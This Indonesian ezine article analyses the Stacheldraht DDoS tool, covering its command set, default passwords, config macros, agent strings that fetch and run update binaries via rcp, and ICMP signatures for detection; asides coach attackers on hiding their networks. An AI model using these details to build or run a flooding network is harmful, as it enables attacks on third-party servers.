Copy Link
Add to Bookmark
Report

Echo Magazine Issue 07 Phile 0x010

eZine's profile picture
Published in 
Echo Magazine
 · 4 years ago

  


____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/


.OR.ID
ECHO-ZINE RELEASE
07

Author :Hilman_hands || hilman_hands@yahoo.com
Online @ www.echo.or.id :: http://ezine.echo.or.id

"Stacheldraht" Distributed Denial of Service Attack Tool

Pendahuluan

Berikut ini adalah suatu analisa “stacheldraht", suatu tool distributed denial of
service (DDOS), yang source code-nya didapat dari "
Tribe Flood Network (TFN)"
sebuah tool distributed denial of service juga, dimana stacheldraht ini merupakan
peyempurna dari berbagai tool DDos yang datang sebelumnya.[ Catatatan: Sepanjang
analisa ini menggunakan nama site, nickname, dan alamat IP yang bukan sebenarnya]

Stacheldraht (dalam bahasa Inggris disebut “barbed wire” dalam bahasa Indonesia
disebut "
kawat-berduri") mengkombinasikan features antara " trinoo" distributed
denial of service attack tool, dengan TFN yang original. kelebihan lain dari
features stacheldraht adalah adanya encryption komunikasi antara attacker dan
masters, serta agen dapat meng-update dirinya sendiri secara otomatis.

Untuk informasi lebih jauh tentang trinoo dan TFN dapat dilihat di:

http://staff.washington.edu/dittrich/misc/trinoo.analysis
http://staff.washington.edu/dittrich/misc/tfn.analysis

Pada akhir Juni dan awal Juli 1999, satu atau lebih kelompok mencoba untuk
menginstallasi dan menguji jaringan trinoo (Trinoo Networks) dengan membuat skala
jaringan denial of service attack yang sangat luas dengan memanfaatkan jaringan
di atas 2000 sistem yang telah di atur sedemikian rupa. Serangan ini melibatkan
dan telah diarahkan pada sistem di sekitar bola bumi.


Pada akhir Augustus / awal bulan September 1999, fokus mulai bergeser dari trinoo
ke TFN, yang diduga kode originalnya dibuat oleh Mixter. Kemudian pada akhir
September / awal Oktober, suatu program yang kelihatan persis/mirip seperi TFN agen,
yang kemudian dikenal sebagai "
stacheldraht", mulai menunjukkan taringnya pada
system-system di Eropa dan Amerika Serikat pada waktu itu. Untuk lebih jelas
silakan baca di:

http://www.cert.org/incident_notes/IN-99-04.html

Seperti halnya trinoo, stacheldraht juga terdiri dari program master (handler) dan
daemon, atau "
bcast" (agen). Terminologi Handler/Agent telah dikembangkan di CERT
Distributed System Intruder Tools workshop pada bulan November 1999, dan akan
digunakan didalam analisa ini sebagai ganti dari terminology spesipik stacheldraht.
Bagi temen-teman yang ingin mengetahui lebih lanjut tentang CERT workshop report
bisa di baca di (kalo kata bang Ditrich mah “sangat dianjurkan”, katanya):

http://www.cert.org/reports/dsit_workshop.pdf

Kalo kita lihat secara seksama, disana terdapat persaingan dalam pembuatan source code
DDos attack tool yaitu, antara DDos attack tool “stacheldraht” dengan versi “TFN
terbaru” buatan Mixter, yaitu: Tribe Flood Network 2000, atau TFN2K (==mixter
gak mau kalah, takut dikira lamer kali…==)yang di release pada tanggal 21 Desember 1999.
Untuk lebih jauh mengetahui tentang TFN2K, Lihat di :

http://packetstorm.securify.com/distributed/
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html


Selain daripada menggunakan features “handler/agent”-nya trinoo, stacheldraht juga
mempunyai features dari TFN yaitu dengan adanya features distributed network denial
of service melalui ICMP flood, SYN flood, dan “smurf” style attacks. Tetapi, tidak
seperti halnya dengan TFN dan TFN2K yang original, kode stacheldraht yang di analisa
tidak memiliki/berisi (contain) “on demand” root shell bound ke sebuah port TCP.
( hal tersebut mungkin saja didasarkan pada kode TFN lebih awal, dibanding yang
telah dibuat publik oleh Mixter di pertengahan tahun 1999).

Salah satu kelemahan dari TFN adalah bahwa koneksi attacker(s) kepada master(s),
yang mengendalikan network adalah dalam format clear-text, dan terlalu terfokus
kepada standard TCP attack (session hijacking, RST sniping, dll.). Stacheldraht
memberikan keunggulan dalam menghadapi situasi ini dengan menambahkan suatu
encrypting "
mirip telnet" (istilah stacheldraht) client.

Stacheldraht agen mula-mula ditemukan dalam format biner pada sejumlah system Solaris 2.x,
yang dapat diidentifikasikan dengan adanya exploitasi dari bug buffer overrun di dalam
servis-servis RPC "
statd", " cmsd" dan " ttdbserverd".

Makefiles dalam stacheldraht berisi rules untuk Linux dan Solaris, dengan default untuk
Linux (walaupun demikian code tersebut tidak bekerja secara reliable pada linux). Untuk
kepentingan analisa ini, semua program telah di-compile dan di jalankan (run) di dalam
system Red Hat Linux 6.0. Tetapi sejauh ini, saya hanya mengetahui bahwa Agent hanya
bisa berjalan secara maksimal pada system Solaris 2.x.

Satu hal, pernyataan yang mungkin harus diperjelas didalam analisa yang akan kita lakukan,
terutama didalam analisa trinoo dan Tribe Flood Network adalah bahwa distributed denial
of service attack mempunyai dua phase serangan yaitu “victim” (korban) dan “attackers"

(penyerang) hal tersebut digambarkan tergantung pada point of view anda (baca artikel
ini sampai selesai kemudian pahami, selanjutnya anda akan mengalami “pencerahan”…he..he..he).

Terdapat sebuah tahap di dalam inisialisasi mass-intrusion, di mana tools yang diotomatkan
(agent) digunakan untuk mengkompromisasikan root dari jarak jauh (remotely) dalam jumlah
yang sangat besar ( yaitu, dalam beberapa ratus hingga beberapa ribu ranges) dan distributed
denial of service agent ini sudah harus diinstall pada compromised system (kalo dalam
bahasa indonesianya mah “system yang telah disepakati”). Ini adalah primary victim
(korban utama) ( dari sistem berkompromi.) Tidak satupun dari tools distributed denial
of service ini yang mempunyai features yang dapat memfasilitasi compromising systems seperti
layaknya stacheldraht. (compromising system = system yang telah diatur sedemikian rupa
dalam sebuah atau beberapa buah jaringan sracheldraht).

Tahap Mass-Instrusion diikuti oleh phase serangan denial of service yang actual, di mana
system-system yang telah dikompromisasikan (compromised systems), yaitu handler-handler
dan agen-agennya digunakan untuk melakukan serangan denial of service secara raksasa dan
secara terdistribusi terhadap satu atau beberapa server sites.Ini adalah secondary victims
(korban kedua) dari serangan denial of service.

Untuk pendeskripsian tentang metode-metode yang digunakan dalam initial intrusion dan
phase-pase dalam men-setup jaringan stacheldraht, anda bisa membacanya dalam analisa
jaringan trinoo (analysis of the trinoo network) yang sebenarnya artikel tersebut
sudah saya susun beberapa waktu lalu (belom dipublikasikan)…..tapi saya ingin melihat
dulu antusiasme dari komunitas hacker indonesia tentang Distribute Denial of Service
Attack Tools…dan juga mengingat apabila tools DDos ini dapat kita installasi dan berhasil
dalam membuat sebuah atau beberapa skala jaringan dengan pengaturan sistem yang diatur
sedemikian rupa. Maka akan sangat membahayakan, apabila digunakan oleh orang yang tidak
bertanggung jawab. (maka dari itu bacaan ini bukan untuk lamer, newbies,
script kiddies, carder………dll…heheheJ) terusin lagi yuk…..J

Catatan : bahwa modifikasi dari source code, bisa dan akan merubah detil dari analisa ini,
seperti prompt, passwords, commands, port numbers TCP/UDP, atau metoda serangan yang
mendukung, signatures, dan features.


The network: client(s)-->handler(s)-->agent(s)-->victim(s)


Jaringan Stacheldraht terdiri dari satu atau lebih handler program ("mserv.c") dan satu
handler program dapat memiliki banyak set agent (" leaf/td.c"). Penyerang/attacker
menggunakan sebuah program encrypting " mirip telnet" untuk menghubungkan dan berkomunikasi
dengan handlers ("telnetc/client.c"). Sebuah jaringan stacheldraht akan terlihat seperti ini:





+--------+ +--------+
| client | | client |
+--------+ +--------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+-----------+ +-----------+ +-----------+
| handler | | handler | | handler |
+-----------+ +-----------+ +-----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+-------+ +-------+ +-------+ +-------+ +-------+
| agent | | agent | | agent | | agent | | agent |
+-------+ +-------+ +-------+ +-------+ +-------+




Attacker(S) mengendalikan satu atau lebih handlers menggunakan encrypting klien. Masing-Masing
handler dapat mengendalikan banyak agent. ( Ada suatu batas internal di dalam" mserv.c" di
dalam kodenya mencapai 1000 agen, yang biasanya bisa mencapai 1024. Di tulis dalam
code-nya " 1000 sockets are leet0" ). Semua Agen dinstruksikan untuk mengkoordinir
sebuah paket serangan terhadap satu atau lebih victim system oleh handler (di dalam kodenya
dikenal sebagai " mserver" atau " master server”).

Komunikasi



Clients ke handler (s) menggunakan : 16660/tcp
Handler ke / dari agent(s) menggunakan : 65000/tcp, ICMP_ECHOREPLY


Tidak sama halnya dengan trinoo, yang menggunakan UDP untuk komunikasi antara handlers dan
agen, atau Tribe Flood Network yang original, Yang menggunakan ICMP untuk komunikasi antara
handler dan agen, stacheldraht menggunakan TCP dan ICMP untuk melakukan komunikasinya.


Pengendali jarak jauh (remote control) jaringan stacheldraht dapat dilakukan dengan menggunakan
sebuah simple client yang menggunakan kunci symmetric encryption untuk komunikasi antar dirinya
sendiri dan handler. Klien menerima argumentasi tunggal, yang menunjukkan bahwa handler tersebut
perlu hubungan, yang kemudian berhubungan dengan menggunakan sebuah port TCP ( di dalam kode
yang di analisa menggunakan default 16660/tcp).

Untuk attacker, coba lihat contoh berikut ini (jika diberikan kata sandi yang sesuai):
------------------------------------------------------------------------------------------------

# ./client 192.168.0.1
[*] stacheldraht [*]
(c) in 1999 by ...

trying to connect...
connection established.
--------------------------------------
enter the passphrase : sicken
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht
******************************
type .help if you are lame

stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------------------


Prompt ("
a!") menunjukkan banyaknya agen yang aktif (a=active) dan prompt ("d!") menunjukkan
banyaknya agen yang mati (d=dead) pada saat itu. Gunakan perintah "
.help" untuk melihat argument
perintah. ( Ok…udah jam 2 pagi gak ada rokok…..pusing…beli dulu ahhhh…..sambil nunggu bobolnya
gawang sun os…yang lagi “disapa” dan kalo bisa kita ajak “join” buat percobaan…he..he..he…terusin
yuk….artikelnya….J) sekarang kita lihat argument-argument perintahnya….kalo enggak….bakalan
tambah pusing ente……hehe J command set yang didukung yaitu:

---------------------------------------------------------------------------
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------------------



Perintah-perintah (commands)


.distro user server
Instruksikan agen untuk menginstal dan menjalankan new copy dirinya sendiri menggunakan
perintah Berkeley "
rcp" pada sistem "server", menggunakan account “user” ( e.g., " rcp
nixxxer_overrun@server:linux.bin ttymon")




.help
Untuk memperlihatkan commands yang didukung

.killall
Kills semua agent-agen yang aktif.

.madd ip1[:ip2[:ipN]]
Tambahkan IP addresses ke daftar attack victims

.mdie
Kirim die request ke semua agent.

.mdos
Memulai DoS attack

.micmp ip1[:ip2[:ipN]]
Memulai ICMP Flood attack terhadap host yang ditetapkan.

.mlist
Daftar IP address dari host yang telah dijadikan sasaran Dos attack pada saat ini.

.mping
Ping semua agent (bcast) untuk melihat apakah semuanya aktif (alive).

.msadd
Menambahkan master server baru (handler) ke dalam daftar (list) servers yang tersedia.

.msort
Untuk melihat agent (bcast) yang mati/hidup. (kirim ping dan perlihatkan counts/persentase
dari agent-agent yang mati/hidup)

.mstop ip1[:ip2[:ipN]]
.mstop all
Berhenti melakukan serangan terhadap ip address yang telah ditetapkan, atau berhenti
melakukan serangan terhadap semua IP address (“.mstop all”).

.msrem
Me-removes sebuah master server (handler) dari daftar master server yang tersedia.


.msyn ip1[:ip2[:ipN]]
Memulai SYN Flood attack terhadap host yang ditetapkan.

.mtimer seconds
Set timer untuk durasi penyerangan. (tidak ada pengecekan dalam value ini).


.mudp ip1[:ip2[:ipN]]
Memulai UDP flood attack terhadap host yang ditetapkan (mode emulasi dari DoS trinoo).

.setisize
Men-set size pengiriman paket ICMP untuk serangan flooding. (maksimal: 1024, defaultnya : 1024).

.setusize
Men-set size pengiriman paket UDP untuk serangan flooding (maksimal: 1024, Defaultnya: 1024).


.showalive
Memperlihatkan semua agent yang “hidup” (bcast).

.showdead
Memperlihatkan semua agent yang “mati” (bcast).

.sprange lowport-highport
Men-set port range untuk serangan SYN Flooding (dafault untuk lowport: 0, highport: 140).



Proteksi Password


Setelah koneksi kepada handler menggunakan program klien, Attacker diminta untuk memasukan
password. Password ini ( Defaultnya "
sicken" di dalam kode yang telah dianalisa) adalah
suatu standard crypt() encrypted password, yang kemudian di enkripsi oleh program Blowfish
menggunakan passphrase "
authentication" sebelum dikirimkan oleh network kepada handler
(* semua* komunikasi antara agen dan handler di encrypt terlebih dahulu oleh program Blowfish
menggunakan passphrase tersebut.).

Seperti halnya TFN, C macros ("
config.h") define values-nya digunakan untuk menyatakan
perintah-perintah, penempatan kembali vector argumen ("
HIDEME" dan "HIDEKIDS"), untuk
merahasiakan nama program, dll.:


---------------------------------------------------------------------------
#ifndef _CONFIG_H

/* user defined values untuk the teletubby flood network */

#define HIDEME "
(kswapd)"
#define HIDEKIDS "
httpd"
#define CHILDS 10

/* sepertinya ini kata sandi, dan disini anda bisa merubahnya */

#define ID_SHELL 1 /* untuk mem-bind rootshell */

#define ID_ADDR 699 /* request penambahan IP untuk server flood */
#define ID_SETPRANGE 2007 /* men-set port range untuk synflood */
#define ID_SETUSIZE 2006 /* men-set size udp */
#define ID_SETISIZE 2005 /* men-set size ICMP */
#define ID_TIMESET 2004 /* men-set waktu untuk flooding */
#define ID_DIEREQ 2003 /* request menshutdown master server */
#define ID_DISTROIT 2002 /* distro request untuk master server */
#define ID_REMMSERVER 2001 /* meremove master server */
#define ID_ADDMSERVER 2000 /* memasukan master server baru */
#define SPOOF_REPLY 1000 /* spoof test reply master server */
#define ID_TEST 668 /* men-test master server */
#define ID_ICMP 1055 /* untuk ICMP flood */
#define ID_SENDUDP 2 /* untuk Udp flood */
#define ID_SENDSYN 3 /* untuk syn flood */
#define ID_SYNPORT 4 /* untuk men-set port */
#define ID_STOPIT 5 /* untuk memberhentikan flooding */
#define ID_SWITCH 6 /* untuk mengganti mode spoofing */
#define ID_ACK 7 /* untuk me-reply kepada klien */

#define _CONFIG_H
#endif
---------------------------------------------------------------------------






Coba anda lihat script value di atas….!!!! Default tersebut membuka hole kepada orang
lain untuk men-take over jaringan stacheldraht yang susah payah anda buat.. (gimana kalo
orang lain men-execute command agent……?). Untuk berjaga-jaga agar tidak ada orang lain
mengetahui default value yang digunakan dalam script tersebut dan berjaga-jaga agar
orang lain tidak meng-execute agent commands, sebaiknya anda merubahnya….!!!


Fingerprints



Seperti di dalam installasi Trinoo dan Tribe Flood Network, metoda yang digunakan untuk
menginstallasi handler/agent stacheldraht sama seperti menginstallasi program yang lain
pada suatu compromised sistem Unix, dengan semua option standard untuk menyembunyikan
program dan file yang akan di instalasi ( seperti halnya ketika anda menginstalasi
“root kits”, “back door”, penggunaan hidden directories, kernel modules, dll.)

Salah satu features yang tidak dimiliki oleh trinoo ataupun TFN adalah kemampuan untuk
meng-upgrade agen “on demand”. Features ini “mempekerjakan” perintah Berkeley “rcp"

( 514/tcp), menggunakan account yang dicuri dari cache dari beberapa site. On demand,….
semua agen di instruksikan untuk men-delete current program image, keluar dan dapatkan
sebuah new copy (baik itu binary linux ataupun binary Solaris) dari suatu site/account
menggunakan " rcp”, mulai menjalankan new image ini dengan " nohup", dan exit.

Untuk mengidentifikasi program di dalam sistem file, terdapat beberapa string yang dapat
dibedakan.

String-string yang terdapat pada encrypting client ("
client") meliputi yang berikut:


------------------------------------------------------------------------------
. . .
connection closed.
usage: ./sclient
[*] stacheldraht [*]
(c) in 1999 by ...
trying to connect...
unable to resolv %s
unable to connect.
connection established.
--------------------------------------
enter the passphrase :
authentication
failed
authentication failed.
entering interactive session.
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
. . .
------------------------------------------------------------------------------


String-string yang terdapat pada handler (“mserv”) meliputi yang berikut:


------------------------------------------------------------------------------
. . .
%d.%d.%d.%d
jbQ4yQaKLbFZc
* mtimer reached *
.quit
exiting...
you need to stop the packet action first.
.help
.version
[*]stacheldraht[*] mserver version: 1.1
setusize
setisize
mdos
mping
mudp
micmp
msyn
mstop
mtimer
madd
mlist
msort
msadd
msrem
distro
sprange
killall
showdead
showalive
add some bcasts mofo.
killing all active childs...
usage: .sprange
example: .sprange 0-140
low port is : %i
high port is : %i
request was sent to the network.
usage: .setusize <=1024)>
current udp packet size is %ibytes
udp packet size was set to %i bytes.
udp packet size is too large.
usage: .setisize <=1024)>
current icmp packet size is %ibytes
icmp packet size was set to %i bytes.
icmp packet size is too large.
sending mass die request...
finished.
.mudp
starting trinoo emulation...
removing useful commands.
- DONE -
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
usage: .distro
remember : the distro files need to be executable!
that means: chmod +x linux.bin , chmod +x sol.bin ;))
sending distro request to all bcasts....
user : %s
rcp server :
unable to resolve - %s
unable to send distro request.
request was sent, wait some minutes ;)
usage: .msrem
removing masterserver -
failed.
usage: .msadd
adding masterserver -
no packet action at the moment, sir.
the followings ip(s) are getting packeted...
--------------------------------------------
[*] stacheldraht [*] is packeting %d ips
[*] stacheldraht [*] is packeting 1 ip
.mstop all
deleting from packetlist...
%s - removed.
%s - skipped.
restarting packeting routines...
niggahbitch
usage: .madd
adding to packetlist...
%s - added.
usage: .mtimer
packet timer was set to %d seconds
usage: .mstop or
packeting stopped.
usage: .msyn
the net is already packeting.
mass syn flooding
%i floodrequests were sent to %i bcasts.
usage: .micmp
mass icmp bombing
usage: .mudp
mass udp bombing
tR1n00(status: a!%i d!%i)>
stacheldraht(status: a!%i d!%i)>
waiting for ping replies...
total bcasts : %d - 100%
alive bcasts : 0 - 0%
alive bcasts : %d - %d%
dead bcasts : %d - %d%
showing the alive bcasts...
---------------------------
alive bcasts: %i
showing the dead bcasts...
--------------------------
dead bcasts: %i
sorting out all the dead bcasts
-------------------------------
%d dead bcasts were sorted out.
bcasts
[*]-stacheldraht-[*] - forking in the background...
%i bcasts were successfully read in.
3.3.3.3
spoofworks
ficken
authentication
failed
******************************
welcome to stacheldraht
type .help if you are lame
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
[0;35mTribe Flood Network (c) 1999 by
[5mMixter
. . .
------------------------------------------------------------------------------


String yang terdapat di dalam agen (“td”) meliputi yang berikut:



------------------------------------------------------------------------------

. . .
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
ttymon
rm -rf %s
rcp %s@%s:linux.bin %s
nohup ./%s
1.1.1.1
127.0.0.1
lpsched
no masterserver config found.
using default ones.
available servers: %i - working servers : 0
[*] stacheldraht [*] installation failed.
found a working [*] stacheldraht [*] masterserver.
masterserver is gone, looking for a new one
sicken
in.telne
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
. . .
------------------------------------------------------------------------------


Ketika masing-masing agen startup, agen-agen tersebut mencoba untuk membaca file
configurasi master server, untuk mengetahui manakah handler-hendler yang dapat
mengontrolnya. File tersebut adalah daftar IP address, di enkripsi menggunakan
Blowfish, dengan suatu passphrase "
randomsucks". Kegagalan dalam menemukan suatu
file konfigurasi, disebabkan karena ada satu atau lebih default handler IP address
yang di-compile ke dalam program (seperti yang di tunjukkan di atas "
1.1.1.1"
dan "
127.0.0.1" this will obviously be changed…..!!!!!….huahhh…).

Setelah agen telah mendeterminisasikan daftar handlers yang potensial, kemudian
akan start pada awal daftar handlers dan mengirimkan suatu paket ICMP_ECHOREPLY
dengan suatu ID field yang berisi value 666 dan data field yang berisi string
"
skillz". Jika master mendapatkan paket ini, master tersebut akan mengembalikan
suatu paket ICMP_ECHOREPLY dengan suatu ID field yang berisi value 667 dan data
field yang berisi string "
ficken". (handler dan agen akan mengirimkan beberapa
paket besar, e.g., >1000 byte. Handler dan agen secara periodikal mengirimkan
paket ini>>> 666|skillz / 667|ficken<<< secara bolak balik.

Apabila kita lihat melalui tool "
sniffit" (Sniffit adalah packet sniffer and
monitoring tool), paket tersebut akan kelihatan seperti ini:

------------------------------------------------------------------------------
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 .
C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
. . . [60 lines of zeros deleted]
00 . 00 . 00 . 00 .

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 .
0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
. . . [60 lines of zeros deleted]
00 . 00 . 00 . 00 .
------------------------------------------------------------------------------




Apabila kita kita lihat melalui tool “ngrep” (Network Grep Tool), akan kelihatan
seperti di bawah ini:


------------------------------------------------------------------------------
# ngrep -x "
*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 10.0.0.1 -> 192.168.0.1 0:0
02 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 73 6b 69 6c 6c 7a 00 00 ........skillz..
[ 61 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
#
I 192.168.0.1 -> 10.0.0.1 0:0
02 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 66 69 63 6b 65 6e 00 00 ........ficken..
[ 61 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
#
------------------------------------------------------------------------------


"
ngrep" adalah Network grep utility yang digunakan untuk menganalisis paket
jaringan (“packet sniffer”) lebih mudah untuk digunakan dan outputnya lebih
ringkas dibanding dengan "
tcpdump" / " tcpshow".

Sebagai tambahan untuk menemukan aktif handler, agen melakukankan suatu test
untuk melihat jika jaringan pada agen sedang berjalan (ruuning) dan mengijinkan
paket-paket untuk exit dengan source address yang dipalsukan. Hal tersebut
dilakukan dengan mengirimkan suatu paket ICMP ECHO dengan sebuah alamat
IP palsu "
3.3.3.3", sebuah ID 666, dan alamat IP dari sistem agen ( yang diperoleh
dengan mendapatkan hostname, kemudian me-resolving-nya ke sebuah alamat IP) di
dalam data field dari paket ICMP.

Jika master menerima paket tersebut, maka master akan me-reply-nya ke alamat IP yang
terdapat pada paket tersebut dengan suatu paket ICMP_ECHOREPLY berisi sebuah ID 1000
dan kata "
spoofworks" di dalam data field (bidang data). Jika agen menerima paket ini,
maka agen akan men-sets ke spoof_level 0 ( bisa men-spoof semua alamat IP 32 bit).
Jika terjadi time out sebelum menerima suatu paket spoof reply, maka akan men-set-nya
ke spoof_level 3 ( hanya bisa men-spoof final octet).

Apabila kita lihat melalui “tcpdump” dan “ngrep” maka paket tersebut akan terlihat
seperti di bawah ini:

------------------------------------------------------------------------------
# tcpdump icmp
. . .
14:15:35.151061 3.3.3.3 > 192.168.0.1: icmp: echo request [tos 0x7]
14:15:35.177216 192.168.0.1 > 10.0.0.1: icmp: echo reply
. . .

# ngrep -x "
*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 3.3.3.3 -> 192.168.0.1 8:0
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 31 30 2e 30 2e 30 2e 31 ........10.0.0.1
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 ........
#
I 192.168.0.1 -> 10.0.0.1 0:0
03 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 73 70 6f 6f 66 77 6f 72 ........spoofwor
6b 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ks..............
[ 60 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
#
------------------------------------------------------------------------------


Terdapat juga sebuah kode di dalam agen untuk melakukan suatu ID test, mengirimkan
suatu paket ICMP_ECHOREPLY dengan suatu ID field value 669, dan string "
sicken\n"
di dalam data field. Kode ini akan muncul jika agen dikirim suatu paket ICMP_ECHOREPLY
dengan sebuah ID field yang berisi value 668. Seandainya anda ingin memeriksa adanya
3stacheldraht agen, maka anda dapat memeriksanya dengan sebuah program “gag”
(Perl script yang dibuat untuk mendeteksi stacheldraht agents). Apabila menggunakan
“ngrep” maka yang akan muncul seperti ini:


------------------------------------------------------------------------------
# ngrep -x "
*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 10.0.0.2 -> 198.162.0.1 0:0
02 9c 00 00 67 65 73 75 6e 64 68 65 69 74 21 ....gesundheit!
#
I 198.162.0.1 -> 10.0.0.2 0:0
02 9d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 73 69 63 6b 65 6e 0a 00 ........sicken..
[ 61 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
------------------------------------------------------------------------------


Script "
gag" bisa juga digunakan seperti halnya “ngrep”. Pertama, buatlah daftar semua
sistem yang dicurigai (lakukan scanning menggunakan "
nmap" untuk pendeteksian
Operating System (OS) dan temukan semua system Solaris dan Linux pada jaringan anda,
atau scanlah seluruh jaringan dan temukan semua alamat IP yang aktif).
Gunakanlah "
Tcpdump" untuk menangkap semua potensial reply yang akan digunakan kemudian.
Kemudian gunakanlah "
gag". Perhatikan contoh di bawah ini :


------------------------------------------------------------------------------
# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# ./gag -v iplist
sending packet [668/"
gesundheit!"] to 192.168.0.1
sending packet [668/"
gesundheit!"] to 192.168.0.30
sending packet [668/"
gesundheit!"] to 192.168.1.2
sending packet [668/"
gesundheit!"] to 192.168.1.5
sending packet [668/"
gesundheit!"] to 192.168.2.10
sending packet [668/"
gesundheit!"] to 192.168.3.6
. . .
------------------------------------------------------------------------------

Untuk melihat daftar system yang mengembalikan paket ICMP_ECHOREPLY dengan ID 669,
lakukan yang berikut ini :


------------------------------------------------------------------------------
# tcpdump -r stach.dump
tcpdump: Filtering in user process
15:27:57.520094 192.168.0.1 > 10.0.0.1: icmp: echo reply (DF)
15:28:01.984660 192.168.2.10 > 10.0.0.1: icmp: echo reply (DF)
------------------------------------------------------------------------------


Untuk benar-benar memastikan bahwa muatan paket tersebut terdapat konfirmasi "
sicken\n",
anda dapat melakukan hal yang berikut ini:


------------------------------------------------------------------------------
# tcpshow < stach.dump | egrep "
Source IP|sicken"
tcpdump: Filtering in user process
Source IP Address: 198.162.0.1
....................sicken
Source IP Address: 192.168.2.10
....................sicken
------------------------------------------------------------------------------


{Apabila anda membutuhkan sebuah tool untuk mendeteksi stacheldraht, trinoo ataupun tfn.
Anda bisa menemukannya di: http://staff.washington.edu/dittrich/misc/ddos_scan.tar}

String-string seperti "
Skillz", "spoofworks", "sicken\n", "niggahbitch", dan "ficken"
semua dikirim melalui segmen data ICMP—string-string tersebut tidak di encrypted, maka
akan terlihat pada bagian data dari paket ICMP_ECHOREPLY. ID value 666, 667, 668, 669,
dan 1000 akan mudah juga untuk diidentifikasi di dalam packet flow (arus paket)
menggunakan "
ngrep", atau metoda lain di atas.

Apabila menggunakan “lsoft” Lsof adalah suatu alat diagnostik Unix-specific.
LSof=List Open Files. Untuk menemukan daftar-daftar informasi tentang file
(file apapun juga) yang terbuka oleh proses yang berjalan pada sistem. Juga dapat
melihat daftar komunikasi yang terbuka oleh masing-masing proses. maka
stacheldraht handler dapat terlihat di dalam system seperti ini :

------------------------------------------------------------------------------
# lsof -c mserv
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
mserv 1072 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1072 root rtd DIR 3,3 1024 2 /
mserv 1072 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1072 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1072 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1072 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1072 root 0u CHR 136,4 6 /dev/pts/4
mserv 1072 root 1u CHR 136,4 6 /dev/pts/4
mserv 1072 root 2u CHR 136,4 6 /dev/pts/4
mserv 1072 root 3u sock 0,0 2143 can't identify protocol
mserv 1073 root cwd DIR 3,3 2048 40961 /tmp/...
